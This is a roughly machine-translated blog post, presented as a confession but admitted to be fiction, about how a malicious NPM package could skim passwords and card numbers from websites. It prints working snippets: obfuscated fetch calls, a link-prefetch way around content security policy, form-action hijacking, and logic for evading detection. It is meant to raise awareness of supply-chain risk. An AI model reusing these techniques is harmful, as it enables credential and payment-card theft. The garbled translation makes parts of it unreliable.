beware of third party codes

Posted by lipsius at 2020-03-14

I'm harvesting credit card numbers and passwords from your site. Here's how, which is about stealing user data from other websites by hiding malicious code in NPM package. At first glance, it's a bit like the previous articles using spelling errors, such as typosizing programming language package managers and composer typesizing vulnerability. However, after a careful look, we found that the key is to use the dependency of NPM package, and some techniques in this paper have been contacted or studied. Here is an excerpt of some interested analysis.

NPM dependency is very confusing. Post two examples. The well-known NPM package I @ 0.3.2 was accidentally deleted by the author. It is expected that many NPMS will not be installed in the future. The event of NPM has caused the dispute of code reuse. As solidot's article states, "many developers in the NPM ecosystem seem to prefer to reuse code written by others rather than write it themselves. There are serious security risks in this approach, because there are bugs in a widely used software package, your code will be affected, but you can't fix them yourself. ". In addition, NPM has been lack of effective security check mechanism, so it is very likely that a package contains a back door that has been hidden for many years.

I read the minified source of all code in node_modules!OK now you’re just making up objections. But maybe you’re thinking you could writesomething clever that automatically checks code for anything suspicious.

Malicious code will not make any requests when it detects that devtools is open, and after confusion, it can avoid being discovered by the automatic security scanning tool. This part is mentioned in the JavaScript anti debugging and obfuscation I wrote before.


It also stays silent when running on localhost or any IP address, orwhere the domain contains dev, test, qa, uat or staging (surrounded by b word boundaries).

Our penetration testers would see it in their HTTP request monitoring tools! What hours do they work? My code doesn’t send anything between 7am and 7pm. It halves my haul, but 95% reduces my chances of getting caught.

And I only need your credentials once. So after I’ve sent a requestfor a device I make a note of it (local storage and cookies) and neversend for that device again. Replication is not made easy.

Even if some studious little pen tester clears cookies and localstorage constantly, I only send these requests intermittently (aboutone in seven times, lightly randomised — the idealtrouble-shooting-insanity-inducing frequency).

Also the URL looks a lot like the 300 other requests to ad networks your site makes.

According to the different (random) behaviors of malicious code in the running environment, it avoids working hours and pretends to be normal requests, which is the same as the anti analysis of POC links that are not opened by a fool.

And did somebody tell you that this would prevent malicious code fromsending data off to some dastardly domain? I hate to be the bearer ofbad news, but the following four lines of code will glide rightthrough even the strictest content security policy.

CSP seems to be a good defense method, but now there are too many bypass methods, the simplest is to use link prefetching. Moreover, due to the complexity of CSP configuration, in addition to the final defense line default SRC is often ignored, if you forget to configure form action, the form submission address can be easily modified.

default-src form-action

A similar example is my analysis of the $1 million + USD scam. The hacker modified bitcoinjs.min.js on the mybtgwallet website to steal the user's private key.


This is how I took away the credit card number and password from your website

This article is a real story, or adapted from a real story, or just my nonsense.

This week is the week of cyber security panic. Almost every day, new security holes are dug out. This made me have a hard week. Every time my family asked me what happened, I had to pretend that I knew the situation very well.

Meltdown Spectre

It really opened my eyes to see that people around me were in a situation of "relying on me, I was blacked out".

So I'm going to turn myself in with a heavy heart to let you know how I've stolen your account number, password and credit card number from your website in the past few years.

The malicious code itself is very simple. It will start on the page that meets the following conditions:

<form> input[type="password"] input[type="cardnumber"] input[type="cvc"]

When there is a blur event in the credit card number / password field, or when I see the submit event of the form, my program will do these things:

blur submit document.forms.forEach(...) document.cookie const payload = bota(JSON.stringfy(sensitiveUserData))${payload}

All in all, as long as the data seems a little useful, the program will send the data back to my server.

Of course, when I finished writing this program in 2015, it didn't work in my computer at all. I have to spread it out and put it on your website.

There is a golden saying from Google:

In terms of attack mode, XSS is too small, and its defense is perfect.

Chrome extension is also limited.

But I'm lucky. These days, people pack NPM packages just like taking painkillers. No one cares.

If I want to use NPM as my distribution channel, I have to make some bags that are more or less useful, and people don't want to put them up too much, as my Trojan horse.

People like to see color, which is the biggest difference between people and dogs. So I wrote a package that can write logs in various colors in console:

I have an attractive bag on my hand now, which makes me very excited. But I don't want to sit there waiting for others to find my bag. So I plan to take the initiative to publicize, send PR everywhere, and add my diversified NPM package to others' dependency list.

So, I sent hundreds of PR (with a bunch of different accounts, of course, David Gilbertson is not the name of Tongtong) to various front-end packages, asking them to add my package to the dependency. "Hey, I fixed this problem and added some logs by the way.".

Mom, look! I am contributing to the great open source!

Of course, there are many wise people who will jump out and say they don't want to add new dependency packages. But as expected, the focus is on quantity.

All in all, the operation was a success. There are 23 bags that pack me directly. And one of them was used by another widely used package, which won the prize. I won't say which bag it is, but you can imagine that I have a lot of treasury.

This is just one of them. I have six other hot bags in my hand.

My program is downloaded 120000 times a month. I can be very proud to say that there are many top 1000 websites of Alexa running my program, and the account / password / credit card data I get is endless.

Looking back, it's hard to imagine people spending so much time on XSS just to plug code into a website. Now with the help of web developers, I can easily push the program to thousands of websites.

Maybe you have some objections to my blatant panic

I will find that there are strange internet requests!

How do you notice strange internet requests? As long as you open devtool my program will not act. Even if you make it appear as a separate window.

In addition, if the program runs in localhost, or IP address, or the web address contains dev / test / QA / UAT / staging (the transfer site wrapped before and after the package), my program will not act.


These network requests will be caught by our penetration tester in the HTTP monitoring tool!

What are their working hours? My program doesn't send any data between 7 a.m. and 7 p.m., so the amount of data I receive is halved, but the chance of being discovered is reduced by 95%.

And I only need to take a person's confidential data once, so after I send the information, I will mark it on the machine (using local storage or writing cookies), and the same device will not send the second information.

Local Storage

And even if the people who do the penetration test are very inquisitive and really clear the cookies and try again, I will only send these data intermittently (about once every seven times, with a little randomization). This frequency can effectively debug people to want to kill)

In addition, my web address looks similar to that of your other 300 requests.

My point is, if you don't see it, it doesn't mean it hasn't happened. As far as I know, no one has noticed these requests in the past two years. I don't know if you have my malicious code running on your website:)

(new and interesting knowledge: when I pack and sell my credit card number and password, I have to search my credit card to avoid selling myself.)

I'll find your malicious code on GitHub!

You are so naive and lovely, which makes me feel warm.

Unfortunately, I can post a version on GitHub, and NPM pushes a different version.

My package.json defines the files attribute and points to the Lib folder. I put the minify and uglify code in there. When I run NPM publish, I will push these codes out. But lib is in. Gitignore, so it will not be sent to GitHub. This behavior is common, so the code on GitHub looks completely innocent.

package.json minify uglify npm publish .gitignore

This is not a problem for NPM. Even if I didn't push different versions of code to GitHub and NPM, who told you that / lib / package.min.js must come from / SRC / package.js to minify?

/lib/package.min.js /src/package.js minify

So you can't find my evil code on GitHub.

I'll read all the minify code in node modules!

I think you're a little against it. But you may also mean that you can write something awesome to automatically check the code in node \.

But you still can 't find anything meaningful in my program. There is no string such as fetch or XMLHttpRequest in the program, and the URL I use cannot be found. My fetch code is about this long:

fetch XMLHttpRequest const i = 'gfudi'; const k = s => s.split('').map(c => String.fromCharCode(c.charCodeAt() - 1)).join(''); self[k(i)](urlWithYourPreciousData);

"Gfudi" is one bit backward for each letter of "fetch". This is authentic cryptography.

Self is the alias of window. Self ['\ u0066 \ u0065 \ u0074 \ u0063 \ u0068'] (...) is another fancy way to call fetch (...).

self window self['\u0066\u0065\u0074\u0063\u0068'](...) fetch(...)

The point is: it's hard to get dirt out of seriously confused code. You don't have a chance.

(in fact, I'm not going to use something as tacky as a fetch. If I can, I prefer to use new event source (urlwithyourpreciousdata). Even if you are suspicious enough, you can use serviceworker to monitor the fetchevent, and I can sneak out. If the browser supports serviceworker but does not support eventsource, I will do nothing.)

fetch new EventSource(urlWithYourPreciousData) serviceWorker fetchevent serviceWorker EventSource

I have set content security policy!

Oh, you have settings.

Have you ever been told that setting up CSP can prevent data from being sent to bad websites that should not be sent? I don't like to destroy children's dreams, but the following four lines of code can easily bypass even the most strict CSP:

const linkEl = document.createElement('link'); linkEl.rel = 'prefetch'; linkEl.href = urlWithYourPreciousData; document.head.appendChild(linkEl);

(I originally wrote in this article that setting the content security policy properly can make you "100% secure.". Unfortunately, after 130000 people read this article, I found that there is another way. I think the lesson of this is, don't trust anyone or any article on the Internet.)

But CSP is not totally useless. The above move is only useful in chrome. Moreover, the strict CSP setting may be able to block me in some browsers with few users.

If you don't know yet, content security policy can (try) limit the network requests that browsers can make. Usually, it's said that what you allow the browser to load, but you can also think that it's protecting what you can send (I mean "send" personal data, which is actually the parameter of get request)

If I can't use prefetch to send data, CSP will be a bit tricky for my credit card collection business. It's not just because it's going to stop my evil behavior.


If I send data from a website with CSP, it may notify the webmaster that a request to send failed (if a report URI is specified). They might catch up with my program and then call my mom and make me feel overwhelmed.


I always keep a low profile (unless I'm in a nightclub), so I check CSP before sending data.

My approach is to send a fake local request on the current page, and then read the headers of the response:

headers fetch(document.location.href) .then(resp => { const csp = resp.headers.get('Content-Security-Policy'); // does this exist? Is is any good? });

Then I can start looking for holes in your CSP. I was surprised to find that the CSP of Google's landing page was not set up. If my program runs on it, I can get your account password. They didn't set the connect SRC, and they didn't set the final defense line, default SRC, so I can send your personal data as long as I want.

connect-src default-src

If you send me a letter containing ten dollars, I will tell you if my code is really running on the Google landing page.

Amazon doesn't set CSP at all on your credit card page, so does eBay.

Twitter and paypal have CSP, but it's easy to bypass. They have made the same mistake, which is likely to indicate that a large number of people have made the same mistake. At first glance, their protection is very solid. They have set the final defense line of default SRC, but the problem is that the final defense line actually has loopholes. They do not limit form action.

default-src form-action

So when I check your CSP (and check it twice), if everything else is limited, but form action is not, I will directly modify the action of all forms on the page (where the data will be sent when you click "log in")


Array.from(document.forms).forEach(formEl => formEl.action = '//');

Array.from(document.forms).forEach(formEl => formEl.action = '//');

OK, thank you for sending me your PayPal account password. I'll use your money to buy a bunch of things, take a picture, and send it to you as a thank-you card.

Of course, this will only be done once, and then users will be redirected back to the original landing page, and then they will be confused, and then login again.

(I took over Trump's Twitter account and sent out a lot of out of order sh*t, but nobody seemed to notice).

OK, I'm getting nervous. What should I do?

Scenario 1:

It's safe here.

Option two:

As long as there is data on the page that you don't want me (or an attacker like me) to get, don't use any NPM suite, or Google tag manager, or advertising, or analysis, or any other program not written by you.

As suggested in this article, you may want to consider making a lightweight and independent page for logging in and entering credit card data, and loading it with iframe.


Of course, you can pack your big and awesome react app and 138 other NPMS in your header / footer / NAV / other places, but the place where users input data should be iframe wrapped in sandbox. If you need to do client side validation, you can only run JavaScript written by yourself (and I would suggest that there is no minify).

I will soon post the 2017 annual report on the income I collected from selling my credit cards to gangs in handsome hats. According to the law, I have to list the websites where I get the most credit card information. Can you make sure your website is one of them?

But as a handsome man like me, as long as your website successfully finds my data stealing program before January 12, I will remove you from the list so that you don't have to be publicly humiliated.

Seriously speaking

I know my teasing is a little difficult for those who are still learning English (and those who are not smart enough). So I want to make it clear that I didn't really do the NPM package that would steal other people's information. This article is a complete fiction. However, the content of this article is feasible, and I hope this article can have some educational significance.

Although this article is fake, but this routine is not difficult, which makes me very worried.

There are many smart villains in the world, and there are 400000 NPM kits. I think there will always be some package of misbehavior. And if the bad guys do a good job, you probably can't see it at all.

Another experiment, I wrote a simple NPM package last week. It has nothing to do with this article, and as a gentleman, I promise it doesn't include malicious code. So, how alert would you be to add my package to your website?


So what's the point of this article? Just want to find someone to point and say, "ahaha, look at you, are you stupid"?

No, absolutely not (well, at first, but I found myself stupid later, so I changed my route)

My goal (in terms of results) is just to point out that any website with third-party code has a big hole and is completely undetectable.